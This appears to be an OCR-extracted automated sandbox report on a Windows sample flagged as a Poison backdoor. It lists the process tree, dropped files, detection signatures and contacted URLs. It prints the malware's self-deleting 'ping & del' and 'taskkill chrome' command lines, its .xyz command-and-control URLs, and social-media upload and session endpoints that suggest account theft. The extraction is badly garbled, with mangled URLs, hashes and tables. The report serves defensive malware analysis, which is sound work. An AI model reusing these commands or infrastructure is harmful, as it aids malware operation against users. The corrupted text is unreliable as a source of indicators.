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Analysis Report N1yprTBBXs.exe

Overview
General Information Detection Classification
Sample N1yprTBBXs.exe
Name: Detected unpacking (creates a PE fi...
Analysis ID: 346123 Malicious sample detected (through ...
MDS: MALICIOUS

’ frd7c89f3f5cbes.... Multi AV Scanner detection for dropp...
SHA1L:

73e389b70cf3d89. Multi AV Scanner detection for subm...

SHA256: 2870f899f2e9ec5. .

Contains functionality to check ifia d...

Most interesting Screenshot:

Contains functionality to detect slee...

w
«Q
>
2
(=
=
®
(7]

. Contains functionality to infect the b...

a

B Hides threads from debuggers

]

B Installs new ROOT certificates

a . ; ; .

3 Score: 03 Machine Learning detection for dropp...

Range: 0-100 Machine Learning detection for samp...
Whitelisted: false PE file has a writeable .text section
Confidence: 100%

Startup

= System is w10x64

. é N1yprTBBXs.exe (PID: 6476 cmdline: 'C:\Users\user\Desktop\N1yprTBBXs.exe' MD5: F7D7C89F3F5CBC925480B46B7B934157)
3 msiexec.exe (PID: 6548 cmdline: msiexec.exe /i 'C:\Users\user\AppData\Local\Temp\gdiview.msi' MD5: 12C17B5A5C2A7B97342C362CA467E9A2)
. é 6272167835D47591.exe (PID: 6612 cmdline: C:\Users\user\AppData\Local\Temp\6272167835D47591.exe 0011 user01 MD5: F7D7C89F3F5CBC925480B46B7B934157)
. Eﬁ’ 1611970727133.exe (PID: 6944 cmdline: 'C:\Users\user\AppData\Roaming\1611970727133.exe' /sjson 'C:\Users\user\AppData\Roaming\1611970727133.txt' MD5:
EF6F72358CB02551CAEBE720FBC55F95)
e (B ThunderFW.exe (PID: 7100 cmdline: C:\Users\user\AppData\Local\Temp\download\ThunderFW.exe ThunderFW 'C:\Users\user\AppData\Local\Temp\download\M
iniThunderPlatform.exe' MD5: FO372FF8A6148498B19E04203DBBIEGY)
cmd.exe (PID: 6096 cmdline: cmd /c ping 127.0.0.1 -n 3 & del 'C:\Users\user\AppData\Local\Temp\6272167835D47591.exe' MD5:
F3BDBE3BB6F734E357235F4D5898582D)
o W conhostexe (PID: 6644 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
e [ PING.EXE (PID: 3656 cmdline: ping 127.0.0.1 -n 3 MD5: 70C24A306F768936563ABDADBICA9108)
. é 6272167835D47591.exe (PID: 6684 cmdline: C:\Users\user\AppData\Local\Temp\6272167835D47591.exe 200 user01 MD5: F7D7C89F3F5CBC925480B46B7B934157)
cmd.exe (PID: 7012 cmdline: cmd.exe /c taskkill /f fim chrome.exe MD5: F3BDBE3BB6F734E357235F4D5898582D)
. conhost.exe (PID: 7084 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1l MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
o W taskkill.exe (PID: 7132 cmdline: taskkill /f /im chrome.exe MD5: 15E2E0ACD891510C6268CB8899F2A1A1)
cmd.exe (PID: 7100 cmdline: cmd /c ping 127.0.0.1 -n 3 & del 'C:\Users\user\AppData\Local\Temp\6272167835D47591.exe' MD5:
F3BDBE3BB6F734E357235F4D5898582D)
. conhost.exe (PID: 7140 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1l MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
e [ PING.EXE (PID: 5112 cmdline: ping 127.0.0.1 -n 3 MD5: 70C24A306F768936563ABDADBICA9108)
. cmd.exe (PID: 6716 cmdline: cmd /c ping 127.0.0.1 -n 3 & del 'C:\Users\user\Desktop\N1yprTBBXs.exe' MD5: F3BDBE3BB6F734E357235F4D5898582D)
conhost.exe (PID: 6724 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
e [ PING.EXE (PID: 6848 cmdline: ping 127.0.0.1 -n 3 MD5: 70C24A306F768936563ABDADBICA9108)
msiexec.exe (PID: 6640 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding 0B37D2846804C02059732A6A10D93625 C MD5: 12C17B5A5C2A7B97342C362CA467E9A2)
= cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps
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Source

00000004.00000002.278675442.000000000273
0000.00000040.00000001.sdmp

00000002.00000002.350264468.000000000288
0000.00000040.00000001.sdmp

00000000.00000002.264281682.000000000275
0000.00000040.00000001.sdmp

Unpacked PEs

Source

0.2.N1yprTBBXs.exe.2750000.2.unpack

0.2.N1yprTBBXs.exe.2750000.2.raw.unpack

2.2.6272167835D47591.exe.10000000.7.unpack

2.2.6272167835D47591.exe.2880000.4.unpack

4.2.6272167835D47591.exe.2730000.5.raw.unpack

Sigma Overview

No Sigma rule has matched

Signature Overview

Rule
Ping_Command_in_EXE

Ping_Command_in_EXE

Ping_Command_in_EXE

Rule

Ping_Command_in_EXE

Ping_Command_in_EXE

Ping_Command_in_EXE

Ping_Command_in_EXE

Ping_Command_in_EXE

Clicl

Copyright null 2021

Description Author Strings

Detects an Florian Roth
suspicious ping

command

execution in an

executable

* 0x25484:$x1: cmd /c ping 127.0.0.1 -n

Detects an Florian Roth
suspicious ping

command

execution in an

executable

* 0x25484:$x1: cmd /c ping 127.0.0.1 -n

Detects an Florian Roth
suspicious ping

command

execution in an

executable

* 0x25484:$x1: cmd /c ping 127.0.0.1 -n

Description Author Strings

Detects an Florian Roth
suspicious ping

command

execution in an

executable

* 0x25484:$x1: cmd /c ping 127.0.0.1 -n

Detects an
suspicious ping
command
execution in an
executable

Florian Roth e 0x25484:$x1: cmd /c ping 127.0.0.1 -n

Detects an
suspicious ping
command
execution in an
executable

Florian Roth e 0x25484:$x1: cmd /c ping 127.0.0.1 -n

Detects an
suspicious ping
command
execution in an
executable

Florian Roth e 0x25484:$x1: cmd /c ping 127.0.0.1 -n

Detects an
suspicious ping
command
execution in an
executable

Florian Roth e 0x25484:$x1: cmd /c ping 127.0.0.1 -n

k to see the 6 entries

@ AV Detection

@ Cryptography

@ Compliance

@ Spreading

@ Networking

@ Key, Mouse, Clipboard, Microphone and Screen Capturing
@ E-Banking Fraud

@ Spam, unwanted Advertisements and Ransom Demands
® System Summary

@ Data Obfuscation

@ Persistence and Installation Behavior

@ Boot Survival

@ Hooking and other Techniques for Hiding and Protection
@ Malware Analysis System Evasion

@ Anti Debugging

@ HIPS / PFW / Operating System Protection Evasion

@ Language, Device and Operating System Detection

@ Stealing of Sensitive Information
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@ Click to jump to signature section

AV Detection:

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

]

Compliance:

Detected unpacking (creates a PE file in dynamic memory)

Uses new MSVCR Dlls
Contains modern PE file flags such as dynamic base (ASLR) or NX

Binary contains paths to debug symbols

=

Networking:

]‘

E-Banking Fraud:

]‘

System Summary:

Malicious sample detected (through community Yara rule)

=

Data Obfuscation:

Detected unpacking (creates a PE file in dynamic memory)

]‘

Persistence and Installation Behavior:

Boot Survival:

]

Malware Analysis System Evasion:

]

Anti Debugging:
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Stealing of Sensitive Information:

Mitre Att&ck Matrix
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Copyright null 2021

Persistence

DLL Side-
Loading

Application
Shimming

Valid
Accounts

Browser

Extensions

Bootkit

Rc.common

Startup Items

Scheduled
Task/Job

At (Linux)

At (Windows)

Cron

Launchd

Privilege
Escalation

DLL Side-
Loading

Application
Shimming

Valid
Accounts

Access Token

Manipulation

Process

Injection

Rc.common

Startup Items

Scheduled
Task/Job

At (Linux)

At (Windows)

Cron

Launchd

Defense Evasion

Disable or Modify
Tools

Deobfuscate/Decode
Files or Information

Obfuscated Files or
Information

Install Root
Certificate

Software Packing

DLL Side-Loading

Masquerading

Valid Accounts

Access Token
Manipulation

Virtualization/Sandbox

Evasion

Process

Injection

Bootkit

Credential
Access

oS
Credential
Dumping

LSASS
Memory

Security
Account
Manager

NTDS

LSA
Secrets

Cached
Domain
Credentials

DCSync

Proc
Filesystem

letc/passwd
and
letc/shadow

Network
Sniffing

Input
Capture

Keylogging

Discovery

System Time
Discovery

Peripheral Device

Discovery

Account Discovery

File and Directory
Discovery

System Information

Discovery

Query Registry

Security Software

Discovery a
Virtualization/Sandbox
Evasion
Process Discovery
System Owner/User
Discovery

Remote System

Discovery

System Network
Configuration

Discovery

Lateral
Movement

Replication
Through
Removable
Media
Remote
Desktop
Protocol

SMB/Windows
Admin Shares

Distributed
Component
Object Model

SSH

VNC

Windows
Remote
Management

Shared
Webroot

Software
Deployment
Tools

Taint Shared
Content

Replication
Through
Removable
Media

Component
Object Model
and
Distributed
COM

Collection

Archive
Collected

Data

Man in the
Browser

Data from
Local
System

Clipboard

Data

Keylogging

GUI Input
Capture

Web Portal
Capture

Credential
API|
Hooking

Data
Staged

Local Data
Staging

Remote
Data
Staging

Screen
Capture

Comm
Exfiltration and Cc
Exfiltration Over Other  Ingres:
Network Medium Transf
Exfiltration Over Encryp
Bluetooth Chann
Automated Exfiltration Non-
Applice
Layer
Protoc
Scheduled Transfer Applice
Layer
Protoc
Data Transfer Size Fallbac
Limits Chann
Exfiltration Over C2 Multibe
Channel Comm
Exfiltration Over Comm
Alternative Protocol Used F
Exfiltration Over Applice
Symmetric Encrypted Layer |
Non-C2 Protocol
Exfiltration Over Web P
Asymmetric Encrypted
Non-C2 Protocol
Exfiltration Over File Tr:
Unencrypted/Obfuscated Protoc
Non-C2 Protocol
Exfiltration Over Mail Pr
Physical Medium
Exfiltration over USB DNS
Page 8 of 81



-
[1:]

«Q
[}
=
o

Process
Signature
Created File
DNS/IP Info

*EEOEC

Is Dropped

Is Windows Process
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Number of created Registry Values

Number of created Files
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Visual Basic
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Delphi

i
i
=

Java

.Net C# or VB.NET

C, C++ or other language

0@ 2w

Is malicious

Internet

[ERERE—

Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source

N1yprTBBXs.exe
N1yprTBBXs.exe
N1yprTBBXs.exe
N1yprTBBXs.exe

Dropped Files

Source
C:\Users\user\AppData\Local\Temp\6272167835D47591.exe
C:\Users\user\AppData\Local\Temp\6272167835D47591.exe
C:\Users\user\AppData\Local\Temp\6272167835D47591.exe
C:\Users\user\AppData\Local\Temp\MSI1983.tmp
C:\Users\user\AppData\Local\Temp\MSI1983.tmp

C:\Users\user\AppData\Local\Temp\download\MiniThunderPlatform.exe

C:\Users\user\AppData\Local\Temp\download\MiniThunderPlatform.exe

C:\Users\user\AppData\Local\Temp\download\ThunderFW.exe
C:\Users\user\AppData\Local\Temp\download\ThunderFW.exe
C:\Users\user\AppData\Local\Temp\download\at|71.dll
C:\Users\user\AppData\Local\Temp\download\at|71.dll
C:\Users\user\AppData\Local\Temp\download\dl_peer_id.dll
C:\Users\user\AppData\Local\Temp\download\dl_peer_id.dll

Copyright null 2021

Detection
38%

22%

59%
100%

Detection
100%
22%
59%
0%
0%
8%
0%
0%
2%
3%
0%
3%
0%

E|

Waord 2016

Scanner Label

Virustotal

Metadefender

ReversingLabs Win32.Backdoor.Poison
Joe Sandbox ML

Scanner Label
Joe Sandbox ML
Metadefender
ReversingLabs Win32.Backdoor.Poison
Metadefender
ReversingLabs
Metadefender
ReversingLabs
Metadefender
ReversingLabs
Metadefender
ReversingLabs
Metadefender

ReversingLabs

Link
Browse

Browse

Link

Browse

Browse

Browse

Browse

Browse

Browse
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https://www.virustotal.com/gui/file/2870f899f2e9ec540da321f603cfb1a735dcd06df016718e663dc78fefdf5e0a/detection/f-2870f899f2e9ec540da321f603cfb1a735dcd06df016718e663dc78fefdf5e0a-1611585388
https://www.metadefender.com/#!/results/file/bzIxMDEyOE0yNzBjMjR3NWpLNnllTkxmY3M/regular/analysis
https://www.metadefender.com/#!/results/file/bzIxMDEyOE0yNzBjMjR3NWpLNnllTkxmY3M/regular/analysis
https://www.metadefender.com/#!/results/file/WlRFM01ESXdNa2g1UnpoUk9ETTViRjlsSHk1X1VoNWxPZw/regular/analysis
https://www.metadefender.com/#!/results/file/YnpJd01URXdORU10Ukdka1NtRjJiV29KbzA3WlRqYVRj/regular/analysis
https://www.metadefender.com/#!/results/file/YnpJeE1ERXhNMEpVT1V3NFpIUm5ZelU2aXR3VmFnSXpuWA/regular/analysis
https://www.metadefender.com/#!/results/file/YnpJeE1ERXlPVWswTFZkR2JHbzRRemt6VzYxN0lhYUdH/regular/analysis
https://www.metadefender.com/#!/results/file/YnpJeE1ERXlPVWswTFZkR2JHbzRRemswT3NTV2t4bWJl/regular/analysis

Source
C:\Users\user\AppData\Local\Temp\download\download_engine.dll
C:\Users\user\AppData\Local\Temp\download\download_engine.dll
C:\Users\user\AppData\Local\Temp\download\msvcp71.dil
C:\Users\user\AppData\Local\Temp\download\msvcp71.dil
C:\Users\user\AppData\Local\Temp\download\msvcr71.dll
C:\Users\user\AppData\Local\Temp\download\msvcr71.dll
C:\Users\user\AppData\Local\Temp\download\zlib1.dll
C:\Users\user\AppData\Local\Temp\download\zlib1.dll
C:\Users\user\AppData\Local\Temp\xIdl.dll
C:\Users\user\AppData\Local\Temp\xIdl.dll
C:\Users\user\AppData\Roaming\1611970727133.exe

Detection

0%
0%
0%
3%
0%
3%
0%
0%
3%
0%
3%

Scanner Label
Metadefender
ReversingLabs
Metadefender
ReversingLabs
Metadefender
ReversingLabs
Metadefender
ReversingLabs
Metadefender
ReversingLabs

Metadefender

Link

Browse

Browse

Browse

Browse

Browse

Browse

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

Source

hitp://84cfba021a5a6662.xyz/info_old/g
hitp://84cfba021a5a6662.xyz/info_old/e
hitp://84cfba021a5a6662.xyz/info_old/w
hitp://https://deff.nelreports.net/api/report?cat=msn
http://https://ASDACE54CC78B3CA.xyz/
hitp://https://mem.gfx.ms/me/MeControl/10.19168.0/en-US/meCore.min.js
hitp://84cfba021a5a6662.xyz/info_old/r
hitp://https://twitter.comsec-fetch-dest:
hitp:/focsp.pki.goog/gtslolcore0
hitp:/focsp.pki.goog/gtslolcore0
hitp:/focsp.pki.goog/gtslolcore0
hitp://crl.pki.goog/GTS101core.crl0
hitp://crl.pki.goog/GTS101core.crl0
hitp://crl.pki.goog/GTS101core.crl0

http:/f

images.outbrainimg.com/transform/v3/eyJpdSI6ljE4AMmMEOM2MOMDY30GU1N2E4MjhkM2NjNDdINGMz

ZmNKYjU1N
hitp://84cfba021a5a6662.xy/info_old/w
hitp:/focsp.pki.goog/GTSGIAG30
http://84CFBA021A5A6662.xyz/

http:/f

images.outbrainimg.com/transform/v3/eyJpdSI6lmY3MDA1IMDJIKMTdmZDYOM2VkZTBjNzg5MTE1IOWE

YYTYXMWRIN

hitp://pki.goog/gsr2/GTS101.crt0

hitp://pki.goog/gsr2/GTS101.crt0

hitp://pki.goog/gsr2/GTS101.crt0

hitp://ocsp.pki.goog/gsr202

hitp://ocsp.pki.goog/gsr202

hitp://ocsp.pki.goog/gsr202

hitp://https://pki.goog/repository/0

hitp://https://pki.goog/repository/0

hitp://https://pki.goog/repository/0
hitp://https://mem.gfx.ms/meversion?partner=RetailStore2&market=en-us&uhf=1
hitp://https://mem.gfx.ms/me/MeControl/10.19168.0/en-US/meBoot.min.js
hitp://crl.pki.goog/gsr2/gsr2.crl0?

hitp://crl.pki.goog/gsr2/gsr2.crl0?

hitp://crl.pki.goog/gsr2/gsr2.crl0?

hitp://pki.goog/gsr2/GTSGIAG3.crt0)

hitp://https://www.messenger.comhttps://www.messenger.com/login/nonce/ookie:

hitp://pki.goog/gsr2/GTS101.crt0#
hitp://84CFBA021A5A6662.xyz/info_old/ddd
Copyright null 2021

Detection
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%

0%
0%
0%
0%

0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%

Scanner

Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
Avira URL Cloud

Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud

URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
Avira URL Cloud
Avira URL Cloud
URL Reputation
URL Reputation
URL Reputation
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud

Label
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe

safe

safe
safe
safe

safe

safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe

safe

Link
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https://www.metadefender.com/#!/results/file/YnpJeE1ERXhNVTExYm1kUGJsb3lid1pKb2JvcTV6OXU/regular/analysis
https://www.metadefender.com/#!/results/file/YnpJeE1ERXlPVWswTFZkR2JHbzRRemtzclpFUW9XSEc/regular/analysis
https://www.metadefender.com/#!/results/file/YnpJeE1ERXlPVWswTFZkR2JHbzRRemtMZktZVGNhOTVu/regular/analysis
https://www.metadefender.com/#!/results/file/YnpJeE1ERXlPVWswTFZkR2JHbzRRemtrel9jOHh0TVZR/regular/analysis
https://www.metadefender.com/#!/results/file/YnpJd01URXdORU10Ukdka1NtRjJiV294bjVjWFFtUHk/regular/analysis
https://www.metadefender.com/#!/results/file/WVRFNE1EY3dORk14ZFhoM1VHTnVkRWRSSEpXamY1cHNOUw/regular/analysis

Source Detection Scanner Label Link

hitp://https://aefd.nelreports.net/api/report?cat=bingth 0% Avira URL Cloud safe
hitp://https://exchangework%04d%02d%02d.xyz/changenewsys%04d%02d%02d.xyz/post_info. 0% Avira URL Cloud safe
http:/f 0% Avira URL Cloud safe
images.outbrainimg.com/transform/v3/eyJpdSI6lilsim|1ZSI6imh0dHA6LY9pbWFnZXMyLnplbWFudGEuY

29tL

hitp://https://www.instagram.comsec-fetch-mode: 0% Avira URL Cloud safe
hitp://https://twitter.comReferer: 0% Avira URL Cloud safe
hitp://84CFBAO021A5A6662.xyz/#y 0% Avira URL Cloud safe
hitp://www.interestvideo.com/videol.php 0% Avira URL Cloud safe
hitp://https://ASDACE54CC78B3CA.xyz/t 0% Avira URL Cloud safe

Domains and IPs

Contacted Domains

Name P Active Malicious Antivirus Detection Reputation
84CFBA021A5A6662.xyz 104.21.23.16 true false unknown
84cfba021a5a6662.xyz 104.21.23.16 true false unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
hitp://84cfba021a5a6662.xyz/info_old/g false e Avira URL Cloud: safe unknown
hitp://84cfba021a5a6662.xyz/info_old/e false e Avira URL Cloud: safe unknown
hitp://84cfba021a5a6662.xyz/info_old/w false e Avira URL Cloud: safe unknown
hitp://84cfba021a5a6662.xyz/info_old/r false e Avira URL Cloud: safe unknown
hitp://84cfba021a5a6662.xy/info_old/w false e Avira URL Cloud: safe unknown
hitp://84CFBA021A5A6662.xyz/info_old/ddd false e Avira URL Cloud: safe unknown

URLs from Memory and Binaries

Name Source Malicious Antivirus Detection Reputation
hitp://www.msn.com/de- ecv37E8.tmp.9.dr false high
ch/entertainment/_h/c920645c/webcore/externalscripts/oneTru

stV2/scripttemplate

hitp://https://duckduckgo.com/chrome_newtab Localwebdatal611970737633.2.dr false high
hitp://https://duckduckgo.com/ac/?q= 6272167835D47591.exe, 00000002 false high

.00000003.288462252.0000000000
7E8000.00000004.00000001.sdmp,
Localwebdatal611970737633.2.dr

hitp://https://www.messenger.com/ 6272167835D47591.exe, 00000002 false high
.00000002.353440614.0000000003
51C000.00000004.00000001.sdmp,
6272167835D47591.exe, 0000000
4.00000002.280686595.000000000
34AC000.00000004.00000001.sdmp

hitp:/ ecv37E8.tmp.9.dr false high
https://2542116.fls.doubleclick.net/activityi;src=2542116;type=
chrom322;cat=chrom01g;0rd=58648497779

hitp:/ ecv37E8.tmp.9.dr false high
https://cvision.media.net/new/286x175/2/75/95/36/612b163a-
ff7b-498a-bad2-3c52bbd2c504.jpg?v=9

hitp:/ ecv37E8.tmp.9.dr false high
https://cvision.media.net/new/286x175/2/57/35/144/83ebc513-
f6d1-4e0e-a39a-bef975147e85.jpg?v=9

hitp:/fwww.msn.com ecv37E8.tmp.9.dr false high

hitp:/f/www.nirsoft.net 1611970727133.exe, 00000009.00 false high
000002.280160399.0000000000198
000.00000004.00000010.sdmp

hitp://https://deff.nelreports.net/api/report?cat=msn ecv37E8.tmp.9.dr false e Avira URL Cloud: safe unknown

hitp://https://ASDACE54CC78B3CA .xyz/ 6272167835D47591.exe, 00000002 false e Avira URL Cloud: safe unknown
.00000003.344625053.0000000000
BA7000.00000004.00000040.sdmp

hitp:/ ecv37E8.tmp.9.dr false high
https://contextual.media.net/__media__/js/util/nrrvV9140.js
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Name Source Malicious Antivirus Detection Reputation

hitp://https://twitter.com/ookie: 6272167835D47591.exe, 00000002 false high
.00000002.353440614.0000000003
51C000.00000004.00000001.sdmp,
6272167835D47591.exe, 0000000
4.00000002.280686595.000000000
34AC000.00000004.00000001.sdmp

hitp://https://mem.gfx.ms/me/MeControl/10.19168.0/en- ecv37E8.tmp.9.dr false e Avira URL Cloud: safe unknown
US/meCore.min.js

hitp://https://twitter.comsec-fetch-dest: 6272167835D47591.exe, 00000004 false e Avira URL Cloud: safe unknown
.00000002.280686595.0000000003
4AC000.00000004.00000001.sdmp

hitp:/ ecv37E8.tmp.9.dr false high
https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434
d91f2e635/RCc13122162a9a46c3b4chf05ffccdeOf

hitp:/ ecv37E8.tmp.9.dr false high
https://2542116.fls.doubleclick.net/activityi;src=2542116;type=
clien612;cat=chromx;ord=1;num=3931852

hitp:/focsp.pki.goog/gtslolcore0 ecv37E8.tmp.9.dr false e URL Reputation: safe unknown
e URL Reputation: safe
URL Reputation: safe

3

hitp://www.msn.com/?ocid=iehp ecv37E8.tmp.9.dr false high

hitp:/ ecv37E8.tmp.9.dr false high
https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434
d91f2e635/RCee0d4d5fd4424c8390d703b105f82c3

hitp://crl.pki.goog/GTS101core.crl0 ecv37E8.tmp.9.dr false e URL Reputation: safe unknown
e URL Reputation: safe
URL Reputation: safe

3

3

http:/f ecv37E8.tmp.9.dr false Avira URL Cloud: safe unknown
images.outbrainimg.com/transform/v3/eyJpdSI6[jEAMmMEOM?2

MOMDY30GUIN2E4MjhkM2NjNDdINGMzZmNKYjU1IN

hitp://https://www.messenger.com 6272167835D47591.exe, 00000002 false high
.00000002.353440614.0000000003
51C000.00000004.00000001.sdmp,
6272167835D47591.exe, 0000000
4.00000002.280686595.000000000
34AC000.00000004.00000001.sdmp

hitp://iwww.nirsoft.net/ 1611970727133.exe, 16119707271 false high
33.exe.2.dr

hitp:/focsp.pki.goog/GTSGIAG30 ecv37E8.tmp.9.dr false e Avira URL Cloud: safe unknown

hitp://https://www.instagram.com/graphgql/query/? 6272167835D47591.exe, 00000004 false high

query_hash=149bef52a3b2af88c0fec37913felchc&variables= .00000002.280686595.0000000003

%7B%2 4AC000.00000004.00000001.sdmp

hitp://84CFBA021A5A6662.xyz/ 6272167835D47591.exe, 00000004 false e Avira URL Cloud: safe unknown

.00000003.273221994.0000000004
191000.00000004.00000001.sdmp

hitp:// 6272167835D47591.exe, 00000002 false high
https://upload.twitter.com/i/media/upload.jsoncommand=FINA .00000002.353440614.0000000003
LIZE&media_id= 51C000.00000004.00000001.sdmp,

6272167835D47591.exe, 0000000
4.00000002.280686595.000000000
34AC000.00000004.00000001.sdmp

hitp://https://www.instagram.com/ 6272167835D47591.exe, 00000004 false high
.00000002.280686595.0000000003
4AC000.00000004.00000001.sdmp

hitp://schemas.xmlsoap.org/soap/encoding/ download_engine.dll.2.dr false high
hitp://www.xunlei.com/GET download_engine.dll.2.dr false high
hitp:/ ecv37E8.tmp.9.dr false high

https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434
d91f2e635/RC5bdddb231cf54f958a5b6e76e9d8eee

hitp:/ ecv37E8.tmp.9.dr false high
https://optanon.blob.core.windows.net/skins/4.1.0/default_flat_
top_two_button_black/v2/css/optanon.c

hitp:// 6272167835D47591.exe, 00000002 false high
https://upload.twitter.com/i/media/upload.json%dcommand=INI .00000002.353440614.0000000003
T&total_bytes=&media_type=image%?2Fjpeg&me 51C000.00000004.00000001.sdmp,

6272167835D47591.exe, 0000000
4.00000002.280686595.000000000
34AC000.00000004.00000001.sdmp

hitp:// ecv37E8.tmp.9.dr false e Avira URL Cloud: safe unknown
images.outbrainimg.com/transform/v3/eyJpdSI6ImY3MDA1M
DJIKMTAmZDYOM2VKZTBjNzg5MTEIOWEYYTYXMWRIN

hitp://https://www.messenger.com/origin: 6272167835D47591.exe, 00000004 false high
.00000002.280686595.0000000003
4AC000.00000004.00000001.sdmp

hitp:// 6272167835D47591.exe, 00000002 false high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?  .00000003.288462252.0000000000
q= 7E8000.00000004.00000001.sdmp,

Localwebdatal611970737633.2.dr
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Name

hitp://pki.goog/gsr2/GTS101.crt0

hitp://https://contextual.media.net/medianet.php?
cid=8CU157172&crid=858412214&size=306x271&https=1

http:/f
https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml

hitp://https://contextual.media.net/

hitp://ocsp.pki.goog/gsr202

http:/f
https://optanon.blob.core.windows.net/skins/4.1.0/default_flat_
top_two_button_black/v2/images/cookie

hitp://https://pki.goog/repository/0

hitp://https://mem.gfx.ms/meversion?
partner=RetailStore2&market=en-us&uhf=1

hitp://https://api.twitter.com/1.1/statuses/update.json

http:/f
https://cvision.media.net/new/300x300/3/167/174/27/39ab310
3-8560-4a55-bfc4-401f897cf6f2.jpg?v=9

hitp:/fwww.msn.com/

hitp://https://upload.twitter.com/i/media/upload.json

hitp://https://www.cloudflare.com/5xx-error-landing

http:/f
https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434
d91f2e635/RC828bclcde9f04b788c98b5423157734

hitp://https://twitter.com/compose/tweetsec-fetch-mode:

hitp://84CFBA021A5A6662.xyz/info_old/w

hitp://https://www.messenger.com/accept:

hitp://www.msn.com/de-
ch/entertainment/_h/c920645c/webcore/externalscripts/oneTru
stV2/consent/55a804

hitp://https://contextual. media.net/803288796/fcmain.js?
&gdpr=0&cid=8CU157172&cpcd=pC3IHgSCqY8UHihgrvGrOA
%3

hitp://https://mem.gfx.ms/me/MeControl/10.19168.0/en-
US/meBoot.min.js

hitp://https://contextual.media.net/48/nrrV18753.js
hitp://crl.pki.goog/gsr2/gsr2.crl0?

hitp://84CFBA021A5A6662.xyz/info_old/g

hitp://pki.goog/gsr2/GTSGIAG3.crt0)
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Source

ecv37E8.tmp.9.dr

ecv37E8.tmp.9.dr

ecv37E8.tmp.9.dr

ecv37E8.tmp.9.dr
ecv37E8.tmp.9.dr

ecv37E8.tmp.9.dr

ecv37E8.tmp.9.dr

ecv37E8.tmp.9.dr

6272167835D47591.exe, 00000002
.00000002.353440614.0000000003
51C000.00000004.00000001.sdmp,
6272167835D47591.exe, 0000000
4.00000002.280686595.000000000
34AC000.00000004.00000001.sdmp

ecv37E8.tmp.9.dr

ecv37E8.tmp.9.dr

6272167835D47591.exe, 00000002
.00000002.353440614.0000000003
51C000.00000004.00000001.sdmp,
6272167835D47591.exe, 0000000
4.00000002.280686595.000000000
34AC000.00000004.00000001.sdmp

N1yprTBBXs.exe, 00000000.00000
002.268429575.0000000002C85000
.00000004.00000040.sdmp, 62721
67835D47591.exe, 00000002.0000
0003.287668875.000000000415000
0.00000004.00000001.sdmp, 6272
167835D47591.exe, 00000004.000
00003.273221994.00000000041910
00.00000004.00000001.sdmp

ecv37E8.tmp.9.dr

6272167835D47591.exe, 00000004
.00000002.280686595.0000000003
4AC000.00000004.00000001.sdmp

6272167835D47591.exe, 00000002
.00000003.344625053.0000000000
BA7000.00000004.00000040.sdmp

6272167835D47591.exe, 00000002
.00000002.353440614.0000000003
51C000.00000004.00000001.sdmp,
6272167835D47591.exe, 0000000
4.00000002.280686595.000000000
34AC000.00000004.00000001.sdmp

ecv37E8.tmp.9.dr

ecv37E8.tmp.9.dr

ecv37E8.tmp.9.dr

ecv37E8.tmp.9.dr
ecv37E8.tmp.9.dr

6272167835D47591.exe, 00000002
.00000003.344625053.0000000000
BA7000.00000004.00000040.sdmp

ecv37E8.tmp.9.dr

Malicious

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

e URL Reputation:
e URL Reputation:
e URL Reputation:

e URL Reputation:
e URL Reputation:
URL Reputation:

e URL Reputation:
e URL Reputation:
e URL Reputation:

3

3

3

Antivirus Detection

safe
safe
safe

safe
safe
safe

safe
safe
safe

Avira URL Cloud: safe

Avira URL Cloud: safe

URL Reputation:
e URL Reputation:
e URL Reputation:

Avira URL Cloud: safe

safe
safe
safe

Reputation

unknown

high

high

high

unknown

high

unknown

unknown

high

high

high
high

high

high

high

unknown

high

high

high

unknown

high

unknown

unknown

unknown
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Name

hitp://https://upload.twitter.com/i/media/upload.json?
command=APPEND&media_id=%s&segment_index=0

hitp://https://feedback.googleusercontent.com

http:/f
https://www.messenger.comhttps://www.messenger.com/login
/nonce/ookie:

hitp:/fiwww.xunlei.com/
hitp://pki.goog/gsr2/GTS101.crt0#
hitp://https://aefd.nelreports.net/api/report?cat=bingth

hitp://https://upload.twitter.com/i/media/upload.json?
command=APPEND&media_id=%s&segment_index=0accept:

hitp://schemas.xmlsoap.org/soap/envelope/

http:/f
https://exchangework%04d%02d%02d.xyz/changenewsys%0
4d%02d%02d.xyz/post_info.

http:/f
https://geolocation.onetrust.com/cookieconsentpub/vl/geo/loc
ation

hitp://https://assets.adobedtm.com/launch-
